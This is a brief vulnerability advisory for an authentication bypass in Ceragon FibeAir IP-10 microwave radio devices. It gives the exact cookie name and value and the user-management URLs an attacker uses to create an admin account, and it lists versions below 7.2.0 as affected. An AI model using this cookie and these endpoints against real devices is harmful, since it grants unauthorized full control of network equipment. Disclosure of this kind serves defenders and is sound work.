Vulnerability Type:
===================
Authentication Bypass
Vulnerability Details:
=====================
Ceragon FibeAir IP-10 devices do not properly ensure that a user has authenticated before granting them access to the web interface of the device. The attacker simply needs to add a cookie to their session named “ALBATROSS” with the value “0-4-11”. They can then browse to one of the following URL’s (varies by model number and software version) to add their own user account with full admin privileges:
/responder.fcgi1?winid=106&winname=Users%20%26%20Groups&slot=1&mainslot=1
/responder.fcgi1?winid=109&winname=Users%20%26%20Groups&slot=1&mainslot=1
/responder.fcgi1?winid=103&winname=Users%20%26%20Groups&slot=1&mainslot=1
/responder.fcgi0?winid=89&winname=Users%20%26%20Groups&slot=0
After adding their own user account, they can clear their cookies and log in with the new credentials they created.
Affected versions:
All versions below 7.2.0
